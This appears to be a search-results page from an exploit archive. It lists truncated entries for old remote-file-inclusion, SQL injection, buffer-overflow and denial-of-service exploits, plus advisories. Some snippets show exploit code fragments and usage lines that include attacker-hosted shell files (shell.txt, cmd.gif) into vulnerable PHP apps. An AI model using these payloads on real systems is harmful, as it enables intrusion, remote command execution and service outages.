140 matches found
News-Letterman 1.1 - eintrag.php?sqllog Remote File Inclusion
News-Letterman 1.1 - eintrag.php?sqllog Remote File Inclusion !/usr/bin/perl News-Letterman 1.1 eintrag.php Remote File Include Exploit Download: http://www.weltennetz.de/download/letterman1.1.zip Vulnerable Code: include $sqllog; Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shel...
QQ漏洞(远程可执行)Tencent QQ VQQPlayer.ocx
No description provided by source. ---------------------------------------------------------------------------------------- / ----------------------------------------------------------------------- Tencent QQ VQQPlayer.ocx all version 0day Author: axis Date: 2006-12-27 Mail: [email protected]...
Interview:w00w00
w00w00 One of the first to respond to a request for an interview was w00w00 pronounced "woo-woo", their website . A group highly respected among those who are interested in security issues - they have discovered a lot of holes in security systems, many interesting tactics of hacker attacks. The...
Ciberia Content Federator 1.0 (path) Remote File Include Exploit
No description provided by source. !/usr/bin/perl Portal Name : ciberia 1.0maquetacionsocio.php Remote File Inclusion Exploit BUG: Path/socios/maquetacionsocio.php?path=Dr.Trojan.TxT Vulnerable Code: 1-include "$path/datos/datossocios.php"; 2-include "$path/elementos/actos.php"; 3-include...
SH-News 0.93 - misc.php Remote File Inclusion
SH-News 0.93 - misc.php Remote File Inclusion !/usr/bin/perl SH-News 0.93 misc.php Remote File Include Exploit Download: http://www.scripthome.de/down.php?id=6 Vulnerable Code: require "$newscfg'path'/german.inc.php"; Coded by bd0rk || SOH-Crew Usage: shnews.pl target cmd shell shell variable...
Star FTP Server 1.10 - RETR Remote Denial of Service
Star FTP Server 1.10 - RETR Remote Denial of Service Star FTP server 1.10 Bug type: stack overflow Found by Necro http://iHACK.pl from socket import from sys import exit print '\n Star FTP server 1.10 Remote 0day DoS Exploit' print ' Bug found by Necro http://iHACK.pl' host = '127.0.0.1' port = 2...
CVE-2006-6598
Directory traversal vulnerability in viewnfo.php in 1 TorrentFlux before 2.2 and 2 torrentflux-b4rt before 2.1-b4rt-972 allows remote authenticated users to read arbitrary files via .. dot dot sequences in the path parameter, a different vector than CVE-2006-6328...
StatIt 4 - 'statitpath' Remote File Inclusion
!/usr/bin/perl Statit V4 Remote File Inclusion exploit Bug discovered By IGNOR3 [email protected] http://www.smart-boys.com Google Search=inurl:statit.php usage: perl statit.pl perl statit.pl http://target.com/statit/ http://www.golha.net/ignor3/shell.txt cmd cmd shell example: cmd shell...
Albinator 2.0.6 - 'Config_rootdir' Remote File Inclusion
!/usr/bin/perl Albinator Multiple Parameter File Inclusion Bug discovered by VietMafia and r0t code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Pat...
WinEggDropShell 1.7 Multiple PreAuth Remote Stack Overflow PoC
No description provided by source. WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC HTTP Server "GET" && FTP Server "USER" "PASS" command Bug Discoverd and coded by Sowhat Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....; http://secway.org 2005-10-11 Affected:...
Claroline E-Learning 1.6 - Remote Hash SQL Injection (2)
!/usr/bin/perl Claroline E-Learning Application Remote SQL Exploit K-C0d3r This tools and to consider only himself to educational purpose Bug discovered by Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC K-C0d3r use IO::Socket; sub Usage print STDERR "Usage: KCcol-xpl.pl \n"; print STDE...
FutureSoft TFTP Server 2000 - Remote Denial of Service
/ FutureSoft TFTP Server 2000 Remote Denial of Service Exploit http://www.futuresoft.com/products/lit-tftp2000.htm Bug Discovered by SIG^2 http://www.security.org.sg Exploit coded By ATmaCA Web: atmacasoft.com && spyinstructors.com E-Mail: [email protected] Credit to kozan Usage:tftpexp targetPo...
MailEnable Mail Server IMAP 1.52 - Remote Buffer Overflow
/ MailEnable , IMAP Service, Remote Buffer Overflow Exploit v0.4 Homepage : www.mailenable.com Affected versions: Pro v1.52 Enterprise v1.01 Bug discovery : Nima Majidi at www.hat-squad.com Exploit code : class101 at www.hat-squad.com & dfind.kd-team.com Fix :...
MailEnable Mail Server IMAP <= 1.52 Remote Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ================================================================== MailEnable Mail Server IMAP include include ifdef WIN32 include "winsock2.h" pragma commentlib, "ws232" else include include include include include include include include...
iSite 1.0 bug
Hi, vuln, security team www.rst.bb1.ru RusH security team --= Advisory 7 =-- Product: iSite 1.0 http://scripts.igray.ru Vuln: Viewing any .txt file on server Bug found: 11.05.2003 by 1dt.w0lf About programm ============== iSite - script for create and update little site without using SQL. About b...
DSA-245 dhcp3 - ignored counter boundary
Bulletin has no description...
phpBB2 remote execution command
phpBB2 is vulnerable to remote execution command All nix running phpBB2 versoion 2.0. Bug could be found at "phpBB2 root path" which is allowed remote attacker to execute any command remotely. The vulnerability of this attack start with '/phpBB2/includes/db.php?phpbbrootpath=' but some backdoor...
Hexyn-sa-19.txt
Hexyn / Securax Advisory 19 - Multiple FTP Server DoS Topic: Multiple FTP Server DoS Announced: 2001-02-17 Affects: Serv-U FTP Server, G6 FTP Server, WarFTPd Server,... DISCLAIMER: THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR RESULTS. THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELO...
Fastgraf Metacharacterbug(2)
ping.cgi, traceroute.cgi and finger.cgi have the same bug ; grtz, Marco van Berkum -- Sex is like hacking. You get in, you get out, and you hope you didn't leave something behind that can be traced back to you. Marco van Berkum, System Operator/Security Analyst OBIT b.v. RIPEHANDLE: MB17300-RIPE...
frontpage.DoS.txt
Date: Sat, 17 Apr 1999 09:55:58 -0700 PDT From: Spb Telecom To: [email protected] Subject: Front Page Server BUG discovered by Zo0mer I have discovered 1 month ago a bug in Front Page 98 Server. I enter my local host adress http://zo0mer//////////////////////////////////////////and...